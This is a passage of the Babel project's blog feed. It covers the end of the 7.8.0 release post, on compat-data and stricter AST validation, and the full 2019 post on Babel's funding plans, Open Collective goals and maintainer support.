style="color:#718c00">"10.0.0"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
<li>
<p><code>@babel/compat-data</code>, which contains a collection of JSON files where we store all the browsers versions for which each plugin or <code>core-js@2</code> polyfill is required. It's mostly generated from <a href="https://kangax.github.io/compat-table/" target="_blank" rel="noopener noreferrer"><code>compat-table</code></a>, but we might add other data sources in the future.
If you need data for <code>core-js@3</code> polyfills, you can use <a href="https://www.npmjs.com/package/core-js-compat" target="_blank" rel="noopener noreferrer"><code>core-js-compat</code></a>.</p>
</li>
</ul>
<p>We plan to disallow using internal files starting from Babel 8. If you are relying on other internal APIs, please let us know!</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="introduce-opt-in-stricter-ast-validation-10917">Introduce opt-in stricter AST validation (<a href="https://github.com/babel/babel/pull/10917" target="_blank" rel="noopener noreferrer">#10917</a>)<a href="https://babeljs.io/blog/2020/01/11/7.8.0#introduce-opt-in-stricter-ast-validation-10917" class="hash-link" aria-label="Direct link to introduce-opt-in-stricter-ast-validation-10917" title="Direct link to introduce-opt-in-stricter-ast-validation-10917">​</a></h3>
<p><code>@babel/types</code> already performs many checks to ensure that the AST you are building is valid. For example, this code will throw because you can't use a statement in place of an expression:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// foo = if (true) {}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">t</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">assignmentExpression</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"="</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  t</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">identifier</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"foo"</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  t</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">ifStatement</span><span class="token punctuation">(</span><span class="token plain">t</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">booleanLiteral</span><span class="token punctuation">(</span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"> t</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">blockStatement</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>We are introducing stricter validation to prevent even more invalid ASTs: not only from a tree shape point of view but also ensuring that nodes in the correct position carry valid information. For example, starting from Babel 8 <code>t.identifier("123")</code> will be disallowed, because <code>123</code> is not a valid identifier.</p>
<p>We can't enable these checks in Babel 7.8.0 because the risk of breaking existing plugins is too high, but we highly encourage you to enable these stricter checks using the <code>BABEL_TYPES_8_BREAKING=true</code> environment variable and open issues (or better, PRs!) to fix the plugins that you are using which won't work with Babel 8.</p>]]></content>
        <author>
            <name>Nicolò Ribaudo</name>
            <uri>https://twitter.com/NicoloRibaudo</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Babel's Funding Plans]]></title>
        <id>https://babeljs.io/blog/2019/11/08/babels-funding-plans</id>
        <link href="https://babeljs.io/blog/2019/11/08/babels-funding-plans"/>
        <updated>2019-11-08T12:00:00.000Z</updated>
        <summary type="html"><![CDATA[One of the greatest strengths of open source software is that it is open and free for anyone to contribute. This also leads to one of its greatest challenges, which is to support consistent, sustainable maintenance.]]></summary>
        <content type="html"><![CDATA[<p>One of the greatest strengths of open source software is that it is open and free for anyone to contribute. This also leads to one of its greatest challenges, which is to support consistent, sustainable maintenance.</p>
<p>Babel isn't a company. As mentioned in the <a href="https://babeljs.io/blog/2018/08/27/7.0.0#maintainers-are-people" target="_blank" rel="noopener noreferrer">7.0.0 post</a>, the all-volunteer Babel team (sans Henry) has been doing its best to steward the project and handle all the expectations of the community. We're glad that we have continued to make releases, but even keeping up-to-date with reported issues is difficult to manage, let alone our integrations with other tools, new proposals, and effect on the greater ecosystem.</p>
<p>In March 2018, Henry <a href="https://www.henryzoo.com/leaving-behance/" target="_blank" rel="noopener noreferrer">left his job</a> to start <a href="https://www.henryzoo.com/in-pursuit-of-open-source-part-1/" target="_blank" rel="noopener noreferrer">working on securing more funding for Babel</a>. After a lot of work and support from the community, the team was able to fund Henry as a full-time maintainer.</p>
<p>This has been a big win for the team, but we're finding that it is not enough.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="new-challenges">New Challenges<a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans#new-challenges" class="hash-link" aria-label="Direct link to New Challenges" title="Direct link to New Challenges">​</a></h2>
<p>Babel has come a long way from <a href="https://www.youtube.com/watch?v=fntd0sPMOtQ" target="_blank" rel="noopener noreferrer">its origins as "6to5"</a>, growing beyond just the <em>adoption</em> and implementation of language features in JavaScript. It has become a key part in its <em>development</em>:</p>
<ul>
<li>
<p>Babel's popularity has increased exponentially, going from 3M downloads per week in March 2018 to 16M downloads per week today.</p>
</li>
<li>
<p>Babel is now involved in the <a href="https://tc39.es/" target="_blank" rel="noopener noreferrer">TC39</a> standards process as participating members in meetings and discussions. "Is there a Babel plugin already?" is a common question for new proposals.</p>
</li>
<li>
<p>Babel has become so embedded as underlying infrastructure that most developers interact with it indirectly, including in CLIs such as <a href="https://github.com/facebook/create-react-app" target="_blank" rel="noopener noreferrer"><code>create-react-app</code></a>, bundlers like <a href="https://parceljs.org/" target="_blank" rel="noopener noreferrer">Parcel</a>, frameworks like <a href="https://nextjs.org/" target="_blank" rel="noopener noreferrer">Next.js</a>, and many npm libraries.</p>
</li>
</ul>
<p>Widespread adoption brings with it new challenges, and the team has been grappling with issues around maintenance and sustainability. The project has grown beyond the resources the team has available, and we'd like to share our plan for addressing this problem.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="funding-plans">Funding Plans<a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans#funding-plans" class="hash-link" aria-label="Direct link to Funding Plans" title="Direct link to Funding Plans">​</a></h2>
<p>We believe that Babel would benefit immensely from more than one person being funded to work on the project, and want to secure funding for three additional team members, <a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer">Nicolò</a>, <a href="https://twitter.com/JLHwung" target="_blank" rel="noopener noreferrer">Jùnliàng</a>, and <a href="https://twitter.com/kai_cataldo" target="_blank" rel="noopener noreferrer">Kai</a> as part-time maintainers.</p>
<p>We are setting up an additional funding goal of $12,000/month through <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a>. This is $4,000/month each, which is the target we have defined for a part-time salary.</p>
<p>We discussed a number of different approaches as a team – creating an hourly rate for contributors, setting aside grants for features, bug bounties for specific issues – and ultimately decided that a stable income would lead to higher quality work (no pressure to rush development), the ability to dedicate time to plan for a roadmap in a more holistic manner, being able to take time for breaks and vacation, and not having to worry about where their next paycheck is coming from.</p>
<p>That being said, we will continue to evaluate and be open/transparent with making changes as needed.</p>
<p>We'd like to give a huge shoutout to our Open Collective sponsors: <a href="https://handshake.org/" target="_blank" rel="noopener noreferrer">Handshake</a>, <a href="https://twitter.com/airbnbeng" target="_blank" rel="noopener noreferrer">Airbnb</a>, <a href="https://amp.dev/" target="_blank" rel="noopener noreferrer">AMP</a>, <a href="https://opensource.facebook.com/" target="_blank" rel="noopener noreferrer">Facebook</a>, <a href="https://tech.trivago.com/opensource/" target="_blank" rel="noopener noreferrer">trivago</a>, <a href="https://twitter.com/salesforceeng" target="_blank" rel="noopener noreferrer">Salesforce</a>, <a href="https://frontendmasters.com/" target="_blank" rel="noopener noreferrer">Frontend Masters</a>, <a href="https://runkit.com/home" target="_blank" rel="noopener noreferrer">RunKit</a>, <a href="https://webflow.com/" target="_blank" rel="noopener noreferrer">Webflow</a>, <a href="https://www.adobe.com/" target="_blank" rel="noopener noreferrer">Adobe</a>, <a href="https://www.coinbase.com/" target="_blank" rel="noopener noreferrer">Coinbase</a>, <a href="https://www.bitmex.com/" target="_blank" rel="noopener noreferrer">BitMEX</a>, and everyone else who has donated!</p>
<p><img loading="lazy" src="https://i.imgur.com/C76KsKZ.png" alt="Babel Open Collective monthly donations graph" class="img_SS3x"></p>
<p><strong>One thing we'd like to note:</strong> Collectives currently only show the total annual amount donated, which may work better with a one-time grant donation model. We believe that showcasing the monthly recurring amount is a more accurate description of the financial health of our project, and the team is hoping to help out with this <a href="https://github.com/opencollective/opencollective/issues/1585" target="_blank" rel="noopener noreferrer">issue</a>.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="how-you-can-help">How You Can Help<a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans#how-you-can-help" class="hash-link" aria-label="Direct link to How You Can Help" title="Direct link to How You Can Help">​</a></h2>
<p>You can financially contribute to Babel on our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a>!</p>
<p>Our team is using <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> to fund our team members. Both companies and individuals and donate to the team, either as a one-time or recurring donation.</p>
<p>If you have any questions or concerns about financially contributing to Babel we'd be happy to discuss by <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">email</a>.</p>
<p>And in case your company is located in one of the cities that the core team lives in we'd also love to meet in-person!</p>
<ul>
<li><a href="https://twitter.com/left_pad" target="_blank" rel="noopener noreferrer">Henry</a> is based in NYC and will be in the Bay Area November 4th-15th.</li>
<li><a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer">Nicolò</a> is based in Italy and will be in Moscow November 6th-10th.</li>
<li><a href="https://twitter.com/existentialism" target="_blank" rel="noopener noreferrer">Brian</a> is based in Houston, TX.</li>
<li><a href="https://twitter.com/JLHwung" target="_blank" rel="noopener noreferrer">Jùnliàng</a> is based in Ontario.</li>
<li><a href="https://twitter.com/kai_cataldo" target="_blank" rel="noopener noreferrer">Kai</a> is based in the New York City area.</li>
</ul>
<p>The team would appreciate hearing about how you are using Babel or how you are looking to get involved.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="our-goals">Our Goals<a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans#our-goals" class="hash-link" aria-label="Direct link to Our Goals" title="Direct link to Our Goals">​</a></h2>
<p>We will be writing up more in-depth posts on these topics, but here are some general areas where we aim to continue focusing on:</p>
<ul>
<li>
<p><strong>Stability</strong>: This includes checking against the official <a href="https://github.com/tc39/test262" target="_blank" rel="noopener noreferrer">test262</a> tests. This <a href="https://github.com/babel/babel/issues/4987" target="_blank" rel="noopener noreferrer">support</a> gives us a better sense of our spec compliance so we know what is missing, adding smoke tests using Babel itself and our top dependents, in addition to our own tests. Reliability is extremely important to us given our position in the ecosystem.</p>
</li>
<li>
<p><strong>Debuggability</strong>: We would like to implement better warnings/errors on <a href="https://github.com/babel/babel/issues/10617" target="_blank" rel="noopener noreferrer">configuration</a> and explain what is being outputted to help users make decisions on code size. Given the complexity of a pluggable tool tracking an ever-changing specification, it can be hard to hide the complexity. We would really like to spend time on making our usage more accessible.</p>
</li>
<li>
<p><strong>General ecosystem support</strong>: This includes what we can do to help libraries publish ES2015+ code and for developers to target new browsers and ship less code (your own code, node_modules, <a href="https://github.com/babel/babel/issues/10008" target="_blank" rel="noopener noreferrer">polyfills</a>) when possible, while still making it accessible for all browser users.</p>
</li>
<li>
<p><strong>Codemods</strong>: We would like to put more emphasis on the opposite direction of code transformation (aka 5to6, <a href="https://github.com/lebab/lebab" target="_blank" rel="noopener noreferrer">Lebab</a>), which is a powerful idea that we can help educate the community about. This would help with the transition between changes in the proposal (or if it's dropped/stalled) via an upgrade tool.</p>
</li>
</ul>
<p>And long term:</p>
<ul>
<li><strong>Proposal Advancement</strong>: Our goal is to enable a feedback loop for proposal champions to get validation through "real world" use cases within the JavaScript community. This will ultimately only happen if the plugin is adopted, there's enough time for people to use it and learn its implications, and for there to be a workflow in place for dialogue with and giving feedback to the TC39 committee. We would like to figure out how to best be a resource for more community members to understand the TC39 process and get involved in the improvement of JavaScript from the ground up. This requires plugins tracking the proposals to be created in a timely fashion and maintained, which requires a considerable amount of effort. This is especially true with plugins for early stage proposals, since these plugins require continued maintenance as proposals are updated.</li>
<li><strong>Education</strong>: Related to this is an aspiration to help more developers understand the tools they use. Many tools and frameworks, particularly in the JavaScript ecosystem, operate over similar core concepts (such as ASTs). Leveling the playing field empowers more people to contribute, fix issues, and bring new ideas to the table. Language development has a high barrier to entry that our project can help lower.</li>
</ul>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="how-companies-and-individuals-have-helped-before">How Companies and Individuals Have Helped Before<a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans#how-companies-and-individuals-have-helped-before" class="hash-link" aria-label="Direct link to How Companies and Individuals Have Helped Before" title="Direct link to How Companies and Individuals Have Helped Before">​</a></h2>
<p>We know that as maintainers we need to do outreach for our project and for open source as a whole. Our efforts up to this point have consisted of the following:</p>
<ul>
<li><a href="https://www.thinkmill.com.au/" target="_blank" rel="noopener noreferrer">Thinkmill</a> funded 3 months of part-time work on Babel for Sebastian, the creator of Babel, while he was employed there. This was followed by 3 months working part-time on Babel at <a href="https://www.cloudflare.com/" target="_blank" rel="noopener noreferrer">Cloudflare</a>. And then almost 12 months of full-time work while employed by <a href="https://opensource.facebook.com/" target="_blank" rel="noopener noreferrer">Facebook</a>, which included the entire release of Babel 6.</li>
<li>Adobe funded 50% of Henry's work on Babel during his time working there.</li>
<li>We've helped companies during internal open source-oriented hackathons, including <a href="https://technology.condenast.com/" target="_blank" rel="noopener noreferrer">Condé Nast</a> and <a href="https://www.techatbloomberg.com/" target="_blank" rel="noopener noreferrer">Bloomberg</a> and hosting workshops on open source and Babel development at companies like Netflix.</li>
<li>Speaking at <a href="https://twitter.com/left_pad/status/1190398587538202624?s=20" target="_blank" rel="noopener noreferrer">companies</a> like Spotify/Facebook, local <a href="https://twitter.com/left_pad/status/1184301596437549056?s=20" target="_blank" rel="noopener noreferrer">meetups</a>, bootcamps, <a href="https://twitter.com/left_pad/status/1191515333347004416?s=20" target="_blank" rel="noopener noreferrer">universities</a> like Berkeley, and participating in <a href="https://twitter.com/bendhalpern/status/1050181229910331392?s=20" target="_blank" rel="noopener noreferrer">Hacktoberfest</a> events.</li>
</ul>
<p>Supporting the project is not limited to just financial means. Different companies have allowed their employees to implement some specific features during their working time:</p>
<ul>
<li>
<p><a href="https://www.techatbloomberg.com/" target="_blank" rel="noopener noreferrer">Bloomberg</a>'s folks have implemented support for different class features (like private fields), and are currently working on automatic testing of Babel's transforms using the official ECMAScript test suite (Test262)</p>
</li>
<li>
<p><a href="https://tech.trivago.com/" target="_blank" rel="noopener noreferrer">Trivago</a>, which was also a Base Support Sponsor, has implemented the partial application proposal</p>
</li>
<li>
<p><a href="https://runkit.com/" target="_blank" rel="noopener noreferrer">RunKit</a> has been working with Nicolò as a contractor to implement syntactic placeholders in <code>@babel/template</code>.</p>
</li>
</ul>
<p>Support can ultimately an opportunity to talk and learn from maintainers, provide real-world feedback to the project, and build a long-term relationship.</p>
<blockquote>
<p>We get a lot of valuable ideas from our relationships with maintainers. It's almost a proxy for hiring the best people in the world, only for a limited amount of time. Open Collective gives a business like ours access to a diverse talent pool that would be impossible to build internally. - <a href="https://blog.opencollective.com/zeit/" target="_blank" rel="noopener noreferrer">Guillermo Rauch</a></p>
</blockquote>
<p>Want to get involved? Learn more in the <a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans#how-you-can-help">How You Can Help section</a>.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="conclusion">Conclusion<a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion">​</a></h2>
<p>In an ideal world, Babel wouldn't even be necessary. However, in practice, there may always be gaps between where JavaScript is at with future proposals, when vendors can implement them (after Stage 3), what browsers a given website supports, and what Node.js versions are supported for a given library. In that sliding window of functionality is where a tool like Babel can provide significant value.</p>
<p>While we are excited for where Babel will go in the future, the team has been struggling to keep up with the current demands of the project for quite some time.  Meeting our funding goals will allow us to not only better meet the current needs of the project, but also help push it into the future.</p>
<p>We hope you will join us in <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">supporting</a> this community, whether through sponsorship of the core team or getting involved in the project.</p>
<p>Thanks and we hope to see you around, whether in-person or on GitHub!</p>]]></content>
        <author>
            <name>Henry Zhu</name>
            <uri>https://twitter.com/left_pad</uri>
        </author>
    </entry>
</feed>